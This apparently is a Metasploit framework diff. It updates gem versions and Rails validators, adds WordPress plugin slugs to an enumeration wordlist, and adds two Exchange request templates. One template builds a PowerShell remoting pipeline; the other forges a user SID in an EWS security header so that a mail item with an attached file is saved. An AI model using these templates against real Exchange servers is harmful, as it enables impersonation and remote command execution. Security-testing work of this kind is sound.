addressable, 2.8.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 9.0.0, MIT
arel-helpers, 2.12.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.1.1, "Apache 2.0"
aws-partitions, 1.480.0, "Apache 2.0"
aws-sdk-core, 3.118.0, "Apache 2.0"
aws-sdk-ec2, 1.252.0, "Apache 2.0"
aws-sdk-iam, 1.58.0, "Apache 2.0"
aws-sdk-kms, 1.45.0, "Apache 2.0"
aws-sdk-s3, 1.97.0, "Apache 2.0"
aws-partitions, 1.489.0, "Apache 2.0"
aws-sdk-core, 3.119.0, "Apache 2.0"
aws-sdk-ec2, 1.256.0, "Apache 2.0"
aws-sdk-iam, 1.59.0, "Apache 2.0"
aws-sdk-kms, 1.46.0, "Apache 2.0"
aws-sdk-s3, 1.99.0, "Apache 2.0"
aws-sigv4, 1.2.4, "Apache 2.0"
bcrypt, 3.1.16, MIT
bcrypt_pbkdf, 1.1.0, MIT
@@ -42,7 +41,7 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.0, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.18.0, MIT
faraday, 1.5.1, MIT
faraday, 1.7.0, MIT
faraday-em_http, 1.0.0, MIT
faraday-em_synchrony, 1.0.0, MIT
faraday-excon, 1.1.0, MIT
@@ -50,34 +49,43 @@ faraday-httpclient, 1.0.1, MIT
faraday-net_http, 1.0.1, MIT
faraday-net_http_persistent, 1.2.0, MIT
faraday-patron, 1.0.0, MIT
faraday-rack, 1.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.3, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
gssapi, 1.3.1, MIT
gyoku, 1.3.1, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.4, MIT
http_parser.rb, 0.7.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.8.10, MIT
io-console, 0.5.9, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.5.1, ruby
loofah, 2.10.0, MIT
little-plugger, 1.1.4, MIT
logging, 2.3.0, MIT
loofah, 2.12.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 3.0.2, "New BSD"
metasploit-credential, 4.0.5, "New BSD"
metasploit-framework, 6.0.56, "New BSD"
metasploit-model, 3.1.4, "New BSD"
metasploit-concern, 4.0.2, "New BSD"
metasploit-credential, 5.0.3, "New BSD"
metasploit-framework, 6.1.2, "New BSD"
metasploit-model, 4.0.2, "New BSD"
metasploit-payloads, 2.0.50, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.1.4, "New BSD"
metasploit_data_models, 5.0.3, "New BSD"
metasploit_payloads-mettle, 1.0.10, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.5.3, MIT
mini_portile2, 2.6.1, MIT
minitest, 5.14.4, MIT
mqtt, 0.5.0, MIT
msgpack, 1.4.2, "Apache 2.0"
multi_json, 1.15.0, MIT
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
@@ -85,8 +93,9 @@ net-ldap, 0.17.0, MIT
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.7, MIT
nokogiri, 1.11.7, MIT
nio4r, 2.5.8, MIT
nokogiri, 1.12.3, MIT
nori, 2.6.0, MIT
octokit, 4.21.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
@@ -107,19 +116,19 @@ rack, 2.2.3, MIT
rack-protection, 2.1.0, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 5.2.6, MIT
rails-html-sanitizer, 1.4.1, MIT
railties, 6.1.4.1, MIT
rainbow, 3.0.0, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.20, unknown
recog, 2.3.21, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.1.1, MIT
reline, 0.2.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.7, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.17, "New BSD"
rex-encoder, 0.1.5, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.27, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.6, "New BSD"
@@ -129,10 +138,10 @@ rex-powershell, 0.1.92, "New BSD"
rex-random_identifier, 0.1.7, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.29, "New BSD"
rex-socket, 0.1.32, "New BSD"
rex-sslscan, 0.1.6, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.35, "New BSD"
rex-text, 0.2.36, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
@@ -140,11 +149,11 @@ rspec, 3.10.0, MIT
rspec-core, 3.10.1, MIT
rspec-expectations, 3.10.1, MIT
rspec-mocks, 3.10.2, MIT
rspec-rails, 5.0.1, MIT
rspec-rails, 5.0.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.10.2, MIT
rubocop, 1.18.4, MIT
rubocop-ast, 1.8.0, MIT
rubocop, 1.19.1, MIT
rubocop-ast, 1.10.0, MIT
ruby-macho, 2.5.1, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
@@ -163,11 +172,10 @@ sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.1.0, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.10, MIT
timecop, 0.9.4, MIT
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.9, MIT
tzinfo, 2.0.4, MIT
tzinfo-data, 1.2021.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.7.7, MIT
@@ -178,6 +186,7 @@ webrick, 1.7.0, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
windows_error, 0.1.2, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.2, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.26, MIT
+2
View File
@@ -1,3 +1,5 @@
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
include ArelHelpers::ArelTable
include ArelHelpers::JoinAssociation
end
@@ -7,7 +7,7 @@ module Metasploit
def validate_each(record, attribute, value)
unless ::File.executable? value
record.errors[attribute] << (options[:message] || "is not a valid path to an executable file")
record.errors.add(attribute, (options[:message] || "is not a valid path to an executable file"))
end
end
end
@@ -7,7 +7,7 @@ module Metasploit
def validate_each(record, attribute, value)
unless value && ::File.file?(value)
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
record.errors.add(attribute, (options[:message] || "is not a valid path to a regular file"))
end
end
end
+2 -1
View File
@@ -36,6 +36,7 @@ module Metasploit
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
config.autoloader = :zeitwerk
case Rails.env
when "development"
@@ -51,4 +52,4 @@ end
# Silence warnings about this defaulting to true
I18n.enforce_available_locales = true
require 'msfenv'
require 'msfenv'
@@ -0,0 +1,121 @@
<%#
The default create_pipeline template wraps everything within an Invoke-Expression call, treating the command as a
string, but that doesn't work for the Exchange environment.
%>
<Obj RefId="0">
<MS>
<Obj N="PowerShell" RefId="1">
<MS>
<Obj N="Cmds" RefId="2">
<TN RefId="0">
<T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
<T>System.Object</T>
</TN>
<LST>
<Obj RefId="3">
<MS>
<S N="Cmd"><%= cmdlet.encode(xml: :text) %></S>
<B N="IsScript">false</B>
<Nil N="UseLocalScope" />
<Obj N="MergeMyResult" RefId="4">
<TN RefId="1">
<T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeToResult" RefId="5">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergePreviousResults" RefId="6">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeError" RefId="7">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeWarning" RefId="8">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeVerbose" RefId="9">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="MergeDebug" RefId="10">
<TNRef RefId="1" />
<ToString>None</ToString>
<I32>0</I32>
</Obj>
<Obj N="Args" RefId="11">
<TNRef RefId="0" />
<LST>
<% args.each_with_index do |arg, index| %>
<%# start indexing arguments at 100 to be above the index numbers used by everything else %>
<Obj RefId="<%= 100 + index %>">
<MS>
<S N="N"><%= arg[:name].encode(xml: :text) %></S>
<% if arg[:value].nil? %>
<Nil N="V" />
<% elsif arg[:value].is_a?(TrueClass) || arg[:value].is_a?(FalseClass) %>
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% end %>
</MS>
</Obj>
<% end %>
</LST>
</Obj>
</MS>
</Obj>
</LST>
</Obj>
<B N="IsNested">false</B>
<Nil N="History" />
<B N="RedirectShellErrorOutputPipe">true</B>
</MS>
</Obj>
<B N="NoInput">true</B>
<Obj N="ApartmentState" RefId="23">
<TN RefId="2">
<T>System.Threading.ApartmentState</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>Unknown</ToString>
<I32>2</I32>
</Obj>
<Obj N="RemoteStreamOptions" RefId="24">
<TN RefId="3">
<T>System.Management.Automation.RemoteStreamOptions</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>0</ToString>
<I32>0</I32>
</Obj>
<B N="AddToHistory">true</B>
<Obj N="HostInfo" RefId="25">
<MS>
<B N="_isHostNull">true</B>
<B N="_isHostUINull">true</B>
<B N="_isHostRawUINull">true</B>
<B N="_useRunspaceHost">true</B>
</MS>
</Obj>
<B N="IsNested">false</B>
</MS>
</Obj>
@@ -0,0 +1,41 @@
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:SerializedSecurityContext>
<t:UserSid><%= user_sid.encode(xml: :text) %></t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject><%= subject.encode(xml: :text) %></t:Subject>
<!-- todo: make these fields totes legit -->
<t:Body BodyType="HTML"></t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name><%= file_name.encode(xml: :text) %></t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content><%= file_content.encode(xml: :text) %></t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress><%= Faker::Internet.email.encode(xml: :text) %></t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
+1269 -3
View File
@@ -78,6 +78,7 @@
1clicksuite
1crm-customer-connection
1crm-lead-capture-forms
1day-io
1dollarplugcoms-network-blogs-widget
1g-music-fav
1g-music-share
@@ -209,6 +210,7 @@
3d-webviewer-by-arty
3d-wiggle-player
3d-wp-tag-cloud-m
3d-xr-library
3dady-real-time-web-stats
3damory-for-wordpress
3dcart-wp-online-store
@@ -292,6 +294,7 @@
5-emotions
5-star-google-reviews
5-sterrenspecialist
500apps-schedulecc
500px-image-showcase-lite
500px-publisher
500px-widget
@@ -334,6 +337,7 @@
8degree-fly-menu-lite
8digits
8digits-market-suite
8pay-payment-gateway
8pus-vars
8tracks-mix-feeds
8tracks-shortcode
@@ -369,6 +373,7 @@ a-gateway-for-pasargad-bank-on-woocommerce
a-lead-capture-contact-form-and-tab-button-by-awebvoicecom
a-little-more-secure
a-long-time-ago
a-note-above-wp-dashboard-notes
a-qr-code
a-qr-code-gcapi
a-random-number
@@ -400,6 +405,7 @@ a-year-before
a-youtube-plugin
a-z-indexing-startup
a-z-listing
a11y-kit
a11y-speech-synthesis
a2-optimized-wp
a2billing
@@ -434,6 +440,7 @@ aa-pdf-reader
aaaaaaah-lek-lek
aac-scoring
aacomingsoon
aadp-amazon-affiliate-dropshipping-for-woocommerce
aajako-rashifal
aajoda-testimonials
aalivesite
@@ -486,6 +493,7 @@ abandon-theme-options
abandoned-cart-and-search-box-tracking
abandoned-cart-for-woocommerce
abandoned-contact-form-7
abandonment-protector
abantecart-embedding
abase
abbiamo-shipping
@@ -551,11 +559,13 @@ abraia
abs-accordion
abs-linkwithin
abs-portfolio
absolute-addons
absolute-happiness
absolute-links
absolute-privacy
absolute-relative-urls
absolute-reviews
absolute-thumbnail-column
absolute-to-relative-urls
absolute-weaver-theme-support
absoluterss
@@ -610,6 +620,7 @@ accept-bitcoin-payments-on-woocommerce-thebigcoin
accept-button-for-membership-2
accept-crypto-payments-on-woocommerce
accept-disclaimer-overlayer
accept-donations-with-custom-amount
accept-https-with-jetpack-photon-and-tiled-galleries
accept-payments-wp
accept-qpay-payments-using-contact-form-7
@@ -646,6 +657,7 @@ accessibility
accessibility-abbreviation
accessibility-access-keys
accessibility-assistant
accessibility-by-audioeye
accessibility-checker
accessibility-enabler
accessibility-font
@@ -696,6 +708,7 @@ accordeon-menu-ck
accordion
accordion-and-accordion-slider
accordion-archive-widget
accordion-awesome
accordion-block
accordion-blocks
accordion-box
@@ -716,6 +729,7 @@ accordion-shortcode
accordion-shortcode-and-widget
accordion-shortcodes
accordion-simply
accordion-slider
accordion-slider-gallery
accordion-slider-lite
accordion-the-wordpress-ajax-widget
@@ -778,6 +792,7 @@ acf-bootstrap-button
acf-button
acf-button-field
acf-city-selector
acf-clone-repeater
acf-code-field
acf-code-generator
acf-code-snippets
@@ -795,6 +810,7 @@ acf-customizer
acf-date-selector
acf-date-time-picker
acf-db-field
acf-display
acf-display-fields-names-for-admins
acf-dropzone
acf-duplicate-repeater
@@ -807,6 +823,7 @@ acf-extended
acf-facebook-gallery-field
acf-facebook-pixel
acf-fast-flexy
acf-feeds-for-gravity-forms
acf-field-date-time-picker
acf-field-for-contact-form-7
acf-field-name-copier
@@ -842,6 +859,7 @@ acf-generous
acf-get-nav-menus
acf-google-font-selector-field
acf-google-fonts
acf-google-map-field-multiple-markers
acf-google-maps-radius-search
acf-gravityforms-add-on
acf-hide-layout
@@ -863,6 +881,7 @@ acf-link-picker-field
acf-location-rules-post-type-attachment
acf-madmimi-audience-list
acf-media
acf-media-cluster
acf-media-credit
acf-medium-editor-field
acf-meio-mask-field
@@ -957,6 +976,7 @@ acf-wpml-theme-options
acf-wysiwyg-styling
acf-yith-woocommerce-compare-support
acf-youtube-picker
acfist
acfyandex
ach-for-stripe-plaid
ach-je-verlag-herrjemine-wp
@@ -969,6 +989,7 @@ achievements
achievements-bp
achievements-tweaks-gd-star-rating
achilles-shortcodes
achprocessing
acid-maintenance-mode-wp
acknowledge-me
ackuna-language-translation-plugin
@@ -1094,7 +1115,9 @@ acurax-social-media-widget
acw-lore
acymailing
acymailing-automation-export
acymailing-custom-headers
acymailing-integration-for-contact-form-7
acymailing-integration-for-events-manager
acymailing-integration-for-gravity-forms
acymailing-integration-for-memberpress
acymailing-integration-for-modern-events-calendar
@@ -1105,6 +1128,7 @@ acymailing-rss-content
acymailing-table-of-contents-generator
acymailing-universal-filter
ad
ad-auris
ad-block-defender
ad-block-detective
ad-blocking-advisor
@@ -1161,6 +1185,9 @@ ada-customizer-and-installer-for-accessibe
ada-feedwordpress-keyword-filters
ada-plugin
ada-wpms-sitewide-feed
ada2go-badgets
ada2go-mark-your-old-articles
ada2go-text-modules
adamrob-parallax-scroll
adamspay-gateway
adapas-lastfm-plugin-for-wordpress
@@ -1173,6 +1200,7 @@ adapter-widget-rows
adapti-link
adaptive-images
adaptive-learning-with-learndash
adaptive-login-action
adatosystems-friday-zmanim
adauthx
adback-solution-to-adblock
@@ -1236,6 +1264,7 @@ add-category-and-rss-menu
add-category-to-pages
add-charges-woocommerce-payment-gateways
add-child-posts
add-class-to-elementor-image
add-classes-to-googles-calendar
add-cloned-sites-for-wpmu-batch
add-code-and-next-page-button
@@ -1246,6 +1275,7 @@ add-comments
add-contributor
add-contributors
add-cookie-notice
add-coupon-by-link-for-woocommerce
add-crop-checkbox-to-all-image-sizes
add-css-and-js-option-page-wise
add-cssjs-by-duo-leaf
@@ -1309,6 +1339,7 @@ add-free-shipping-text-on-cart-page
add-from-server
add-full-svg-support
add-functions
add-gift-wrapper-for-woocommerce
add-give-gateway-hubtel
add-google-maps
add-google-plus-one-social-share-button
@@ -1488,6 +1519,7 @@ add-to-cart-button-labels-for-woocommerce
add-to-cart-button-manipulation-for-woocommerce
add-to-cart-direct-checkout-for-woocommerce
add-to-cart-rate
add-to-cart-redirect
add-to-cart-text
add-to-circle-widget
add-to-content
@@ -1652,6 +1684,7 @@ addressbook
addressfinder-woo
addressian-for-woocommerce
addressy-address-verification
addressya-for-woocommerce
addscript
addsearch
addsearch-instant-search
@@ -1749,6 +1782,7 @@ admin-ajax-note
admin-ajax-php-no-thank-you
admin-ajax-search-in-backend
admin-alert-errors
admin-allow-by-ip
admin-and-client-message-after-order-for-woocommerce
admin-announce
admin-area-branding
@@ -1852,6 +1886,7 @@ admin-dashboard-site-notes
admin-deyis
admin-dropdown-categories
admin-edit-comment
admin-email-address-changer
admin-email-as-from-address
admin-email-carbon-copy
admin-events-extended
@@ -1872,6 +1907,7 @@ admin-form-framework
admin-generator-advanced
admin-global-search
admin-goto
admin-graphic-password
admin-guide-dashboard-widget
admin-hangul-font
admin-header-note
@@ -2009,7 +2045,9 @@ admin-toolbar-menus
admin-toolbar-remover
admin-toolbox
admin-tools
admin-tools-hide
admin-top-menu
admin-topbar-visibility
admin-trim-interface
admin-tweaks-empty-trash-button
admin-ui
@@ -2246,6 +2284,7 @@ adspace-platform
adspeed-ad-server
adspirit
adsplacer
adstxt
adstxt-guru-connect
adstxt-menage
adsurfari
@@ -2272,6 +2311,7 @@ advance-canonical-url
advance-categorizer
advance-category-posts-widget
advance-compare-products-for-woocommerce
advance-coupons-for-woocommerce
advance-custom-import-and-export
advance-custom-post-order
advance-fb-likebox-widget
@@ -2331,6 +2371,7 @@ advanced-author-listings
advanced-auto-update-disable-tlc
advanced-backgrounds
advanced-backwpup-s3-destinations
advanced-before-after-slider
advanced-block-patterns
advanced-blocks
advanced-blog-metrics
@@ -2494,11 +2535,13 @@ advanced-forms-paypal-payment-buttons
advanced-free-flat-shipping-woocommerce
advanced-galleria
advanced-geo-protection
advanced-geo-redirect
advanced-google-analytics-tracking
advanced-google-map
advanced-google-maps-lite
advanced-google-maps-shortcode
advanced-google-recaptcha
advanced-google-translate
advanced-google-universal-analytics
advanced-gutenberg
advanced-gutenberg-blocks
@@ -2508,6 +2551,7 @@ advanced-hotjar
advanced-hover-effects-image-wpbakery
advanced-https-redirection
advanced-iframe
advanced-image-comparison-for-elementor
advanced-image-grabber
advanced-image-hover-effect-for-elementor
advanced-image-sitemap
@@ -2578,6 +2622,7 @@ advanced-post-widget
advanced-posts-blocks
advanced-posts-per-page
advanced-posts-widget
advanced-pricing-addon-wpbakery
advanced-pricing-table
advanced-product-fields-for-woocommerce
advanced-product-labels-for-woocommerce
@@ -2740,6 +2785,7 @@ ae-connect
ae-fb-video-embed
ae-syntax
ae-visitor
aec-kiosque
aede-warning
aeiou
aelia-foundation-classes-for-woocommerce
@@ -2877,6 +2923,7 @@ affiliatewp-affiliate-banners-widget
affiliatewp-affiliate-info
affiliatewp-affiliate-landing-pages
affiliatewp-affiliate-product-rates
affiliatewp-affiliate-qr-codes
affiliatewp-allow-own-referrals
affiliatewp-allowed-products
affiliatewp-blocks
@@ -2912,6 +2959,7 @@ affinityclick
affinityclick-blog-integration
affliates-manager-prime-for-wc-lite
affylite
afi-to-integrations
afiliados-de-amazon-lite
afilnet-for-woocommerce
aflinker-affiliate-link-cloaker
@@ -3088,6 +3136,7 @@ aio-files-excluder
aio-for-divi
aio-relevance-tag
aio-time-clock-lite
aio-tools
aioseo-fix
aioseo-multibyte-descriptions
aioseop-canonical-https
@@ -3127,7 +3176,9 @@ aisee-seo
aistear-ga-ranking
aistore-attendance-system
aistore-coin-and-ico-directory
aistore-contest-system
aistore-incidents-updates
aistore-multi-vendor-store
aistore-recharge
aitasi-coming-soon
aitch-ref
@@ -3198,6 +3249,7 @@ ajax-feed-reader
ajax-file-upload
ajax-filter-posts
ajax-filter-search
ajax-floating-cart
ajax-for-all
ajax-force-comment-preview
ajax-form-for-ultimate-member
@@ -3258,6 +3310,7 @@ ajax-search
ajax-search-for-woocommerce
ajax-search-lite
ajax-search-popup
ajax-shop-loop-quantity-for-woocommerce
ajax-shortcodes
ajax-signup-forms-for-drip
ajax-simplecontact-form
@@ -3303,9 +3356,11 @@ ajaxify-comments
ajaxify-contact-form
ajaxify-faqtastic
ajaxify-filters
ajaxify-wc-shopping
ajaxify-wordpress-site
ajaxify-wp-post-comment-form
ajaxize
ajaxpress
ajaxy-search-form
ajaxy-search-keyword-tracker
ajdg-user-cleaner
@@ -3439,7 +3494,9 @@ algorithmia
ali2woo-lite
alianzablogs
alias-pay-woocommerce-gateway
alibaba
alice-chatbot
alidani-contact-form
alieneila-event-calendar
aliens-sci
alientech-real-time-analytics
@@ -3482,6 +3539,7 @@ all-custom-fields-groups
all-daily-deals
all-districts-news
all-due-credit
all-embed-addons-for-elementor
all-file-type-support
all-for-adsense
all-image-list
@@ -3497,6 +3555,8 @@ all-in-one-background
all-in-one-bookmarking-button
all-in-one-buttons
all-in-one-category-widgets
all-in-one-contact-buttons-wpshare247
all-in-one-content-restriction
all-in-one-cufon
all-in-one-custom-backgrounds-lite
all-in-one-debug-lab
@@ -3524,6 +3584,7 @@ all-in-one-login
all-in-one-login-pack
all-in-one-messenger
all-in-one-metadata
all-in-one-music-player
all-in-one-must-have
all-in-one-news-scroll
all-in-one-performance-accelerator
@@ -3585,6 +3646,7 @@ all-push-notification
all-related-posts
all-round-order
all-settings
all-shipping-options-in-one-for-woocommerce
all-site-search
all-sociable
all-social-button-in-fancybox
@@ -3646,6 +3708,7 @@ allow-numeric-stubs
allow-ogv-file-uploads
allow-only-1-product-in-cart-for-woocommerce
allow-only-jpegs
allow-only-last-item-in-cart
allow-php-execute
allow-php-in-posts-and-pages
allow-reinstalls
@@ -3694,7 +3757,11 @@ alot
alottalove
alpenglo-related-blog-network
alpha-cache
alpha-google-map-for-elementor
alpha-insights-intelligent-profit-reports-for-woocommerce
alpha-pay-wechat-pay-alipay-for-woocommerce
alpha-price-table-for-elementor
alpha-single-product-for-elementor
alpha-testimonials
alpha-website-tools
alphabet-filter-plugins
@@ -3866,6 +3933,7 @@ amazon-media-manager
amazon-moments
amazon-mp3-widget
amazon-niche-store
amazon-payment-services
amazon-payments
amazon-polly
amazon-post-purchase
@@ -3967,6 +4035,7 @@ amitabh-bachchan-songs
amithings
amity-related-posts
amity-subscribe
ammazza-webar
amministrazione-aperta
amministrazione-trasparente
ammoniaque
@@ -4056,6 +4125,7 @@ amw-chat-fixed
amw-clear-upload-folder
amy-lite
amz-free
amz-watcher
an-easy-skype-button
an-gradebook
ana-chatbot
@@ -4155,6 +4225,7 @@ angry-creative-logger
angular
angularize
angularjs-for-wp
anhlinh-call-button
anhri-widget
ani-n-gin-anime-recommendation-system
aniga-gallery
@@ -4169,6 +4240,7 @@ animate-everything
animate-it
animate-slider
animate-to-anything
animate-wp
animate-wp-blocks
animate-your-content
animated-accordion
@@ -4288,6 +4360,8 @@ another-wordpress-meta-plugin
another-wordpress-seo-plugin
another-wordpress-tracker-plugin
anppopular-post
anrghg
anrghg-helper
ansar-import
ansi-love
anspress
@@ -4376,6 +4450,7 @@ anxp-social-feeds
any-api-sms-for-woocommerce
any-category
any-contact
any-content-carousel
any-custom-field
any-hostname
any-ipsum
@@ -4390,6 +4465,7 @@ anybackup
anyclip-media
anycomment
anycomment-analytics
anyday-woocommerce
anyembed
anyfeed-retriever
anyfeed-slideshow
@@ -4414,6 +4490,7 @@ anythingslider-for-wordpress
anythingslider-plugin
anytimereply
anytrack-affiliate-link-manager
anytrack-for-woocommerce
anyvar
anyway-feedback
anywhere
@@ -4614,6 +4691,7 @@ application-insights-dashboard-beta
application-insights-dashboard-remake
application-maker-crm-edition
application-passwords
application-passwords-enable
application-passwords-manager
application-status
applimana-blog-optimization-tipps
@@ -4696,6 +4774,7 @@ appwidget
appy-hotel-website-connector
appy-pie-connect-for-woocommerce
appyads
appypie-chatbot
appypie-web-to-app
apricot-rocket-crm
aprils-call-posts
@@ -4764,6 +4843,7 @@ arca-payment-gateway
arcadepress
arcadepressorg
arcadeready
arcaptcha
arcavis-synchronisation-firstmedia
arcgis-map
archivarix-external-images-importer
@@ -4780,6 +4860,7 @@ archive-links-nofollow
archive-manage-widget
archive-page
archive-pages-in-search-lite
archive-post-order-plus
archive-post-tabs
archive-posts-accordion-panel
archive-posts-sort-customize
@@ -4919,6 +5000,7 @@ artichoke
article
article-accordion
article-analytics
article-and-forum-connect
article-difficulty-level
article-directory
article-directory-redux
@@ -5066,6 +5148,7 @@ askme
askteammate-shapeart
askthis
asktina-widget
asl-blocks
aslyder
asm-brush
asm-manager
@@ -5085,6 +5168,7 @@ aspexi-facebook-like-box-sidebox
aspexi-login-audit
aspexi-share-buttons
aspexi-sweet-popups
aspiesoft-ajax-load-page
aspiesoft-auto-embed
aspiesoft-church-sermon-video-list
aspire-smart-faq
@@ -5220,6 +5304,7 @@ ath-easy-draftlist-output
atheist-quotes
atheist-spot
athemeart-theme-helper
athemes-blocks
athemes-starter-sites
athemes-toolbox
athena-post-expiration
@@ -5301,6 +5386,7 @@ attachment-slug
attachment-tags
attachment-taxonomies
attachment-taxonomy-support
attachment-url-version
attachment-usage
attachment-viewer
attachments
@@ -5592,6 +5678,7 @@ authors-widget
authors2categories
authorstream
authorsure
authorx
authpro
authpuppy
authy-for-wp
@@ -5620,6 +5707,7 @@ auto-blogroll-checker
auto-browser-cache-bust
auto-cart-update-on-quantity-change
auto-category
auto-change-post-title
auto-clean-url-seo
auto-cloudinary
auto-collapse
@@ -5680,6 +5768,7 @@ auto-image-field
auto-image-randomizer
auto-image-resize
auto-image-resizer
auto-image-title-alt
auto-import-coupons-from-vcommission
auto-insert-ad-plugin
auto-insert-content
@@ -5712,6 +5801,7 @@ auto-login-user-on-register
auto-login-when-resister
auto-login-with-cloudflare
auto-logout
auto-logout-extended
auto-mailchimp-popup
auto-maintenance-mode
auto-manage-inactive-sites
@@ -5789,6 +5879,7 @@ auto-seo-links
auto-seo-tags
auto-set-featured-image
auto-set-first-image-as-featured
auto-shadow-on-post-images
auto-share-post
auto-shop
auto-site-creator
@@ -5875,6 +5966,7 @@ autoclose
autoclose-comments
autocompletamento-indirizzo-contact-form-7
autocomplete
autocomplete-address-and-location-picker-for-woocommerce
autocomplete-address-for-woocommerce
autocomplete-for-relevanssi
autocomplete-for-tinymce
@@ -5890,6 +5982,7 @@ autoconvert-greeklish-permalinks
autocorrect
autocorrector-wp-camelcase
autocreate-woocommerce-coupon-for-affiliatewp
autodate
autodater
autodealers
autodescription
@@ -5897,16 +5990,20 @@ autodesk-freewheel-viewer
autodownload
autodst
autoembed
autofastindex
autofields
autofill-alt-tags
autofill-cf7-bb
autogallery
autogen-headers-menu
autoglasscrm-quote-request
autoglot
autohan
autohide-admin-bar
autohtmllink
autoin-jp
autojblog
autoketing-for-woocommerce
autokeyword
autolink
autolink-uri
@@ -5930,15 +6027,19 @@ automated-aramex-livemanual-shipping-rates-labels
automated-blogroll
automated-chat-agent
automated-db-schenker-shipping
automated-dhl-parcel-shipping-labels
automated-dpd-express-livemanual-shipping-rates-labels-and-pickup
automated-dropshipping-for-woocommerce
automated-editing
automated-editor
automated-keywords-generator
automated-postnord-shipping
automated-registration-of-the-course
automated-registration-of-the-courses
automated-remote-reposting-source
automated-text-links
automated-usps-shipping-with-shipping-label
automated-visual-tester
automater-pl
automatic-admin-logo-customizer
automatic-adsense
